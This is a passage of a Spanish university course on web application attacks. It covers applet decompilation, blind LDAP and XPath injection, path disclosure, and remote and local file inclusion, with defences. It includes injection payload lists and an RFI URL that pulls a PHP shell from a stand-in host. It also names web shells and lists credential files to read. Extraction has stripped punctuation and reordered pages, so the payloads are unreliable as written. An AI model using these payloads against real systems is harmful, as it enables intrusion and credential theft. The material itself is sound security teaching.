Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 43: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

